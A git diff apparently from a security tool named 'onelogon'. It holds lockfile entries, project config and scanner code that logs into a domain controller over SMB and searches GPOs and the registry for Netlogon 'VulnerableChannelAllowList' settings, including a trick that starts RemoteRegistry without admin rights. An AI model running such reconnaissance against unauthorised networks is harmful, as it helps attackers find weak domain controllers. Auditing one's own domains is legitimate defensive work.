{file = "pycryptodomex-3.23.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4f2596e643d4365e14d0879dc5aafe6355616c61c2176009270f3048f6d9a61f"},
{file = "pycryptodomex-3.23.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:fdfac7cda115bca3a5abb2f9e43bc2fb66c2b65ab074913643803ca7083a79ea"},
{file = "pycryptodomex-3.23.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:14c37aaece158d0ace436f76a7bb19093db3b4deade9797abfc39ec6cd6cc2fe"},
{file = "pycryptodomex-3.23.0-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:7de1e40a41a5d7f1ac42b6569b10bcdded34339950945948529067d8426d2785"},
{file = "pycryptodomex-3.23.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bffc92138d75664b6d543984db7893a628559b9e78658563b0395e2a5fb47ed9"},
{file = "pycryptodomex-3.23.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:df027262368334552db2c0ce39706b3fb32022d1dce34673d0f9422df004b96a"},
{file = "pycryptodomex-3.23.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4e79f1aaff5a3a374e92eb462fa9e598585452135012e2945f96874ca6eeb1ff"},
{file = "pycryptodomex-3.23.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:27e13c80ac9a0a1d050ef0a7e0a18cc04c8850101ec891815b6c5a0375e8a245"},
{file = "pycryptodomex-3.23.0.tar.gz", hash = "sha256:71909758f010c82bc99b0abf4ea12012c98962fbf0583c2164f8b84533c2e4da"},
]
[[package]]
name = "pyopenssl"
version = "24.0.0"
description = "Python wrapper module around the OpenSSL library"
optional = false
python-versions = ">=3.7"
groups = ["main"]
files = [
{file = "pyOpenSSL-24.0.0-py3-none-any.whl", hash = "sha256:ba07553fb6fd6a7a2259adb9b84e12302a9a8a75c44046e8bb5d3e5ee887e3c3"},
{file = "pyOpenSSL-24.0.0.tar.gz", hash = "sha256:6aa33039a93fffa4563e655b61d11364d01264be8ccb49906101e02a334530bf"},
]
[package.dependencies]
cryptography = ">=41.0.5,<43"
[package.extras]
docs = ["sphinx (!=5.2.0,!=5.2.0.post0,!=7.2.5)", "sphinx-rtd-theme"]
test = ["flaky", "pretend", "pytest (>=3.0.1)"]
[[package]]
name = "pyreadline3"
version = "3.5.4"
description = "A python implementation of GNU readline."
optional = false
python-versions = ">=3.8"
groups = ["main"]
markers = "sys_platform == \"win32\""
files = [
{file = "pyreadline3-3.5.4-py3-none-any.whl", hash = "sha256:eaf8e6cc3c49bcccf145fc6067ba8643d1df34d604a1ec0eccbf7a18e6d3fae6"},
{file = "pyreadline3-3.5.4.tar.gz", hash = "sha256:8d57d53039a1c75adba8e50dd3d992b28143480816187ea5efbd5c78e6c885b7"},
]
[package.extras]
dev = ["build", "flake8", "mypy", "pytest", "twine"]
[[package]]
name = "ruff"
version = "0.12.8"
description = "An extremely fast Python linter and code formatter, written in Rust."
optional = false
python-versions = ">=3.7"
groups = ["dev"]
files = [
{file = "ruff-0.12.8-py3-none-linux_armv6l.whl", hash = "sha256:63cb5a5e933fc913e5823a0dfdc3c99add73f52d139d6cd5cc8639d0e0465513"},
{file = "ruff-0.12.8-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:9a9bbe28f9f551accf84a24c366c1aa8774d6748438b47174f8e8565ab9dedbc"},
{file = "ruff-0.12.8-py3-none-macosx_11_0_arm64.whl", hash = "sha256:2fae54e752a3150f7ee0e09bce2e133caf10ce9d971510a9b925392dc98d2fec"},
{file = "ruff-0.12.8-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c0acbcf01206df963d9331b5838fb31f3b44fa979ee7fa368b9b9057d89f4a53"},
{file = "ruff-0.12.8-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:ae3e7504666ad4c62f9ac8eedb52a93f9ebdeb34742b8b71cd3cccd24912719f"},
{file = "ruff-0.12.8-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:cb82efb5d35d07497813a1c5647867390a7d83304562607f3579602fa3d7d46f"},
{file = "ruff-0.12.8-py3-none-manylinux_2_17_ppc64.manylinux2014_ppc64.whl", hash = "sha256:dbea798fc0065ad0b84a2947b0aff4233f0cb30f226f00a2c5850ca4393de609"},
{file = "ruff-0.12.8-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:49ebcaccc2bdad86fd51b7864e3d808aad404aab8df33d469b6e65584656263a"},
{file = "ruff-0.12.8-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0ac9c570634b98c71c88cb17badd90f13fc076a472ba6ef1d113d8ed3df109fb"},
{file = "ruff-0.12.8-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:560e0cd641e45591a3e42cb50ef61ce07162b9c233786663fdce2d8557d99818"},
{file = "ruff-0.12.8-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:71c83121512e7743fba5a8848c261dcc454cafb3ef2934a43f1b7a4eb5a447ea"},
{file = "ruff-0.12.8-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:de4429ef2ba091ecddedd300f4c3f24bca875d3d8b23340728c3cb0da81072c3"},
{file = "ruff-0.12.8-py3-none-musllinux_1_2_i686.whl", hash = "sha256:a2cab5f60d5b65b50fba39a8950c8746df1627d54ba1197f970763917184b161"},
{file = "ruff-0.12.8-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:45c32487e14f60b88aad6be9fd5da5093dbefb0e3e1224131cb1d441d7cb7d46"},
{file = "ruff-0.12.8-py3-none-win32.whl", hash = "sha256:daf3475060a617fd5bc80638aeaf2f5937f10af3ec44464e280a9d2218e720d3"},
{file = "ruff-0.12.8-py3-none-win_amd64.whl", hash = "sha256:7209531f1a1fcfbe8e46bcd7ab30e2f43604d8ba1c49029bb420b103d0b5f76e"},
{file = "ruff-0.12.8-py3-none-win_arm64.whl", hash = "sha256:c90e1a334683ce41b0e7a04f41790c429bf5073b62c1ae701c9dc5b3d14f0749"},
{file = "ruff-0.12.8.tar.gz", hash = "sha256:4cb3a45525176e1009b2b64126acf5f9444ea59066262791febf55e40493a033"},
]
[[package]]
name = "setuptools"
version = "80.9.0"
description = "Easily download, build, install, upgrade, and uninstall Python packages"
optional = false
python-versions = ">=3.9"
groups = ["main"]
files = [
{file = "setuptools-80.9.0-py3-none-any.whl", hash = "sha256:062d34222ad13e0cc312a4c02d73f059e86a4acbfbdea8f8f76b28c99f306922"},
{file = "setuptools-80.9.0.tar.gz", hash = "sha256:f36b47402ecde768dbfafc46e8e4207b4360c654f1f3bb84475f0a28628fb19c"},
]
[package.extras]
check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1) ; sys_platform != \"cygwin\"", "ruff (>=0.8.0) ; sys_platform != \"cygwin\""]
core = ["importlib_metadata (>=6) ; python_version < \"3.10\"", "jaraco.functools (>=4)", "jaraco.text (>=3.7)", "more_itertools", "more_itertools (>=8.8)", "packaging (>=24.2)", "platformdirs (>=4.2.2)", "tomli (>=2.0.1) ; python_version < \"3.11\"", "wheel (>=0.43.0)"]
cover = ["pytest-cov"]
doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "pygments-github-lexers (==0.0.5)", "pyproject-hooks (!=1.1)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-favicon", "sphinx-inline-tabs", "sphinx-lint", "sphinx-notfound-page (>=1,<2)", "sphinx-reredirects", "sphinxcontrib-towncrier", "towncrier (<24.7)"]
enabler = ["pytest-enabler (>=2.2)"]
test = ["build[virtualenv] (>=1.0.3)", "filelock (>=3.4.0)", "ini2toml[lite] (>=0.14)", "jaraco.develop (>=7.21) ; python_version >= \"3.9\" and sys_platform != \"cygwin\"", "jaraco.envs (>=2.2)", "jaraco.path (>=3.7.2)", "jaraco.test (>=5.5)", "packaging (>=24.2)", "pip (>=19.1)", "pyproject-hooks (!=1.1)", "pytest (>=6,!=8.1.*)", "pytest-home (>=0.5)", "pytest-perf ; sys_platform != \"cygwin\"", "pytest-subprocess", "pytest-timeout", "pytest-xdist (>=3)", "tomli-w (>=1.0.0)", "virtualenv (>=13.0.0)", "wheel (>=0.44.0)"]
type = ["importlib_metadata (>=7.0.2) ; python_version < \"3.10\"", "jaraco.develop (>=7.21) ; sys_platform != \"cygwin\"", "mypy (==1.14.*)", "pytest-mypy"]
[[package]]
name = "six"
version = "1.17.0"
description = "Python 2 and 3 compatibility utilities"
optional = false
python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7"
groups = ["main"]
files = [
{file = "six-1.17.0-py2.py3-none-any.whl", hash = "sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274"},
{file = "six-1.17.0.tar.gz", hash = "sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81"},
]
[[package]]
name = "termcolor"
version = "3.1.0"
description = "ANSI color formatting for output in terminal"
optional = false
python-versions = ">=3.9"
groups = ["main"]
files = [
{file = "termcolor-3.1.0-py3-none-any.whl", hash = "sha256:591dd26b5c2ce03b9e43f391264626557873ce1d379019786f99b0c2bee140aa"},
{file = "termcolor-3.1.0.tar.gz", hash = "sha256:6a6dd7fbee581909eeec6a756cff1d7f7c376063b14e4a298dc4980309e55970"},
]
[package.extras]
tests = ["pytest", "pytest-cov"]
[[package]]
name = "werkzeug"
version = "3.1.3"
description = "The comprehensive WSGI web application library."
optional = false
python-versions = ">=3.9"
groups = ["main"]
files = [
{file = "werkzeug-3.1.3-py3-none-any.whl", hash = "sha256:54b78bf3716d19a65be4fceccc0d1d7b89e608834989dfae50ea87564639213e"},
{file = "werkzeug-3.1.3.tar.gz", hash = "sha256:60723ce945c19328679790e3282cc758aa4a6040e4bb330f53d30fa546d44746"},
]
[package.dependencies]
MarkupSafe = ">=2.1.1"
[package.extras]
watchdog = ["watchdog (>=2.3)"]
[metadata]
lock-version = "2.1"
python-versions = ">=3.12"
content-hash = "432836b982e90c1de89022d13a0dca8ab096ee7792d4bbebe42d12aebbc4d1a8"
+72
View File
@@ -0,0 +1,72 @@
[project]
name = "onelogon"
version = "1.0.0"
description = ""
authors = [
{name = "Alexander Neff", email = "alex99.neff@gmx.de"}
]
license = {text = "MIT"}
readme = "README.md"
requires-python = ">=3.12"
dependencies = [
"impacket (>=0.13.0)",
"termcolor (>=3.1.0,<4.0.0)",
]
[project.urls]
homepage = "https://github.com/NeffIsBack/onelogon"
repository = "https://github.com/Pennyw0rth/onelogon"
[project.scripts]
onelogon-scanner = "scanner.scanner:main"
scan = "scanner.scanner:main"
onelogon = "exploit.onelogon:main"
ol = "exploit.onelogon:main"
[tool.poetry]
packages = [
{ include = "scanner" },
{ include = "exploit" }
]
[tool.poetry.group.dev.dependencies]
ruff = "*"
[build-system]
requires = ["poetry-core>=2.0.0,<3.0.0"]
build-backend = "poetry.core.masonry.api"
[tool.ruff]
target-version = "py313"
exclude = [
".bzr", ".direnv", ".eggs", ".git", ".git-rewrite", ".hg", ".mypy_cache",
".nox", ".pants.d", ".pytype", ".ruff_cache", ".svn", ".tox", ".venv",
"__pypackages__", "_build", "buck-out", "build", "dist", "node_modules", "venv"
]
preview = true
[tool.ruff.lint]
select = [
"E", "F", "D", "UP", "YTT", "ASYNC", "B", "A", "C4", "ISC", "ICN", "PIE", "PT",
"Q", "RSE", "RET", "SIM", "TID", "ERA", "FLY", "PERF", "LOG", "RUF", "W"
]
ignore = [
"A004", "E501", "F405", "D100", "D101", "D102", "D103", "D104", "D105", "D106",
"D107", "D203", "D204", "D205", "D212", "D213", "D400", "D401", "D413", "D415",
"D417", "D419", "FURB", "RET503", "RET505", "RET506", "RET507", "RET508",
"PERF203", "RUF012", "RUF052", "RUF059"
]
# THE SETTINGS BELOW ARE DEFAULTS, left in here to override potential vs-code settings
# Allow autofix for all enabled rules (when `--fix`) is provided.
fixable = ["ALL"]
unfixable = []
per-file-ignores = {}
# Allow unused variables when underscore-prefixed.
dummy-variable-rgx = "^(_+|(_+[a-zA-Z0-9_]*[a-zA-Z0-9]+?))$"
[tool.ruff.lint.flake8-quotes]
docstring-quotes = "double"
inline-quotes = "double"
multiline-quotes = "double"
+83
View File
@@ -0,0 +1,83 @@
import logging
import sys
from termcolor import colored
# Stolen from wsuks
class Formatter(logging.Formatter):
"""Prefixing logged messages through the custom attribute 'bullet'."""
def __init__(self):
logging.Formatter.__init__(self, "%(bullet)s %(message)s", None)
def format(self, record):
if record.levelno == logging.DEBUG:
record.bullet = colored("DEBUG", "magenta", attrs=["bold"])
elif record.levelno == logging.INFO:
record.bullet = colored("[*]", "blue", attrs=["bold"])
elif record.levelno == logging.SUCCESS:
record.bullet = colored("[+]", "green", attrs=["bold"])
elif record.levelno == logging.WARNING:
record.bullet = colored("[!]", "yellow", attrs=["bold"])
elif record.levelno == logging.ERROR:
record.bullet = colored("[-]", "red", attrs=["bold"])
elif record.levelno == logging.CRITICAL:
record.bullet = colored("[CRITICAL]", "red", attrs=["bold", "reverse"])
elif record.levelno:
record.bullet = "[ERROR]"
return logging.Formatter.format(self, record)
class FormatterTimeStamp(Formatter):
"""Prefixing logged messages through the custom attribute 'bullet'."""
def __init__(self):
logging.Formatter.__init__(self, "[%(asctime)-15s] %(bullet)s %(message)s", None)
def formatTime(self, record, datefmt=None):
return Formatter.formatTime(self, record, datefmt="%Y-%m-%d %H:%M:%S")
def addSuccessLogLevel(logger):
logging.SUCCESS = 25 # between WARNING and INFO
logging.addLevelName(logging.SUCCESS, "SUCCESS")
def success(self, msg, *args, **kwargs):
logger._log(25, msg, args, **kwargs)
logging.getLoggerClass().success = success
def initLogger(ts=False, debug=False):
"""
Initialize logger with specified logging level, add formatter, handler and success log level
:param ts: Add timestamp to log messages
:param debug: Set logging level to DEBUG
:return: logger
"""
handler = logging.StreamHandler(sys.stdout)
if ts:
handler.setFormatter(FormatterTimeStamp())
else:
handler.setFormatter(Formatter())
logger = logging.getLogger("onelogon")
logger.propagate = False
root_logger = logging.getLogger()
logger.addHandler(handler)
root_logger.addHandler(handler)
if debug:
logger.setLevel(logging.DEBUG)
root_logger.setLevel(logging.DEBUG)
else:
logger.setLevel(logging.INFO)
root_logger.setLevel(logging.INFO)
addSuccessLogLevel(logger)
addSuccessLogLevel(root_logger)
return logger
+42
View File
@@ -0,0 +1,42 @@
import logging
import time
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
from impacket.smbconnection import SMBConnection, SessionError
class RegChecker:
def __init__(self, conn: SMBConnection):
self.logger = logging.getLogger("onelogon")
self.conn = conn
def crawl(self):
self.trigger_winreg()
try:
remoteOps = RemoteOperations(self.conn, False)
remoteOps.enableRegistry()
regHandle = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)["phKey"]
keyHandle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SYSTEM\\CurrentControlSet\\Services\\Netlogon\\Parameters")["phkResult"]
value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "VulnerableChannelAllowList")[1].rstrip("\x00")
self.logger.success(f"Found VulnerableChannelAllowList registry configuration: {value}")
except Exception as e:
self.logger.error(f"Error while querying registry: {e}")
def trigger_winreg(self):
# Original idea from https://twitter.com/splinter_code/status/1715876413474025704
# Basically triggers the RemoteRegistry to start without admin privs
tid = self.conn.connectTree("IPC$")
try:
self.conn.openFile(
tid,
r"\winreg",
0x12019F,
creationOption=0x40,
fileAttributes=0x80,
)
except SessionError as e:
# STATUS_PIPE_NOT_AVAILABLE error is expected
self.logger.debug(str(e))
# Give remote registry time to start
time.sleep(1)
+49
View File
@@ -0,0 +1,49 @@
import contextlib
import logging
import sys
import traceback
from impacket.smbconnection import SMBConnection
class SMB:
def __init__(self):
self.logger = logging.getLogger("onelogon")
self.conn = None
def _createSMBConnection(self, domain, username, password, dcIp, kerberos=False, dcName="", lmhash="", nthash="", aesKey=""):
"""Create a SMB connection to the target"""
if not domain:
with contextlib.suppress(Exception):
conn = SMBConnection(remoteName=dcIp, remoteHost=dcIp, sess_port=445)
conn.login("", "")
domain = conn.getServerDNSDomainName()
conn.logoff()
conn.close()
try:
if kerberos:
self.conn = SMBConnection(remoteName=dcName, remoteHost=dcIp, sess_port=445)
else:
self.conn = SMBConnection(remoteName=dcIp, remoteHost=dcIp, sess_port=445)
if kerberos is True:
self.conn.kerberosLogin(username, password, domain, lmhash, nthash, aesKey, dcIp, useCache=False)
else:
self.conn.login(username, password, domain, lmhash, nthash)
if self.conn.isGuestSession() > 0:
self.logger.debug("GUEST Session Granted")
else:
self.logger.debug("USER Session Granted")
except Exception as e:
self.logger.error(f"Error: {e}")
self.logger.debug(traceback.format_exc())
self.logger.error("Failed to establish SMB connection. Exiting...")
exit(1)
def get_smb_connection(self, domain, username, password, dcIp, kerberos=False, dcName="", lmhash="", nthash="", aesKey=""):
if not password and not lmhash and not nthash and not aesKey:
self.logger.error("Error: At least one of Password, LM Hash, NT Hash or AES Key is required to connect to the SYSVOL Share. Exiting...")
sys.exit(1)
if not self.conn:
self._createSMBConnection(domain, username, password, dcIp, kerberos, dcName, lmhash, nthash, aesKey)
return self.conn
+76
View File
@@ -0,0 +1,76 @@
import logging
import traceback
from impacket.smbconnection import SMBConnection, SessionError
from configparser import ConfigParser
class SysvolParser:
def __init__(self, conn: SMBConnection):
self.logger = logging.getLogger("onelogon")
self.conn = conn
self.domain = conn.getServerDNSDomainName()
self.share = "SYSVOL"
def _find_vulnchannellist(self):
def output_callback(data):
self.gpo_data += data
found_dacls = []
policies = self.conn.listPath("SYSVOL", f"{self.domain}/Policies/*")
for policy in policies:
# Skip "." and ".." directory pointers to avoid path errors
if policy.get_longname() in [".", ".."]:
continue
try:
self.gpo_data = b""
self.conn.getFile("SYSVOL", f"{self.domain}/Policies/{policy.get_longname()}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf", output_callback)
try:
decoded_data = self.gpo_data.decode("utf-8")
except UnicodeDecodeError:
self.logger.debug(f"Failed to decode GPO data for policy {policy.get_shortname()} as UTF-8, trying UTF-16...")
decoded_data = self.gpo_data.decode("utf-16")
# Use strict=False and interpolation=None to safely handle Windows INI quirks and % variables.
# Some sections (e.g. [Service General Setting]) use value-less CSV-style rows like:
# "WinRM",2,""
# which require allow_no_value=True to avoid ParsingError.
config_parser = ConfigParser(strict=False, interpolation=None, allow_no_value=True)
config_parser.read_string(decoded_data)
for section in config_parser.sections():
for key, value in config_parser.items(section):
if key == "MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Netlogon\\Parameters\\VulnerableChannelAllowList".lower():
self.logger.debug(f"Found vulnerable channel allow list: {value}")
try:
# Strip the surrounding double quotes from the extracted string
found_dacls.append({"name": policy.get_shortname(), "data": value[2:].strip('"')})
except Exception as e:
self.logger.error(f"Could not parse Registry Policy (error: {e}): {section} {key} {value}")
except SessionError as e:
# Catch and safely ignore expected "file not found" errors for policies without security settings
if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e) or "STATUS_NO_SUCH_FILE" in str(e):
pass
else:
self.logger.debug(f"SMB Session Error reading policy {policy.get_shortname()}: {e}")
except Exception as e:
self.logger.error(f"Error parsing policy {policy.get_shortname()}, {e.__class__.__name__}: {e}")
if self.logger.level == logging.DEBUG:
traceback.print_exc()
if found_dacls:
self.logger.success(f"Found {len(found_dacls)} matching policies in SYSVOL Share.")
for dacl in found_dacls:
self.logger.success(f"Found vulnerable channel allow list in policy '{dacl['name']}': '{dacl['data']}'")
else:
self.logger.error("No matching policies found in SYSVOL Share.")
def crawl(self) -> tuple[str, int]:
try:
self._find_vulnchannellist()
except Exception as e:
self.logger.error(f"Error while crawling SYSVOL Share: {e}")
if self.logger.level == logging.DEBUG:
traceback.print_exc()
+52
View File
@@ -0,0 +1,52 @@
import argparse
import contextlib
from pprint import pformat
from scanner.lib.regchecker import RegChecker
from scanner.lib.smb import SMB
from scanner.lib.sysvolparser import SysvolParser
from scanner.lib.logger import initLogger
def main():
parser = argparse.ArgumentParser(description="onelogon configuration Scanner")
parser.add_argument("-v", "--version", action="version", version="Current Version: %(prog)s 2.0")
parser.add_argument("--debug", action="store_true", help="Enable debug output")
parser.add_argument("-ts", "--timestamp", action="store_true", help="Add timestamp to log messages")
auth = parser.add_argument_group("Authentication")
auth.add_argument("--dc-ip", metavar="", required=True, dest="dcIp", help="IP Address of the domain controller")
auth.add_argument("-u", "--username", metavar="", required=True, help="Username to authenticate with")
auth.add_argument("-p", "--password", metavar="", help="Password to authenticate with")
auth.add_argument("-d", "--domain", metavar="", help="Domain to authenticate with")
auth.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication instead of NTLM")
auth.add_argument("--dc-name", metavar="", dest="dcName", help="Domain Controller Name to authenticate with, required for Kerberos authentication", required=parser.parse_known_args()[0].kerberos)
args = parser.parse_args()
logger = initLogger(ts=args.timestamp, debug=args.debug)
logger.debug("Passed args:\n" + pformat(vars(args)))
smb = SMB()
conn = smb.get_smb_connection(
domain=args.domain,
username=args.username,
password=args.password,
dcIp=args.dcIp,
kerberos=args.kerberos,
dcName=args.dcName
)
if not conn:
logger.error("Failed to establish SMB connection. Exiting...")
return
scanner = SysvolParser(conn)
scanner.crawl()
regchecker = RegChecker(conn)
regchecker.crawl()
with contextlib.suppress(Exception):
conn.logoff()
conn.close()
if __name__ == "__main__":
main()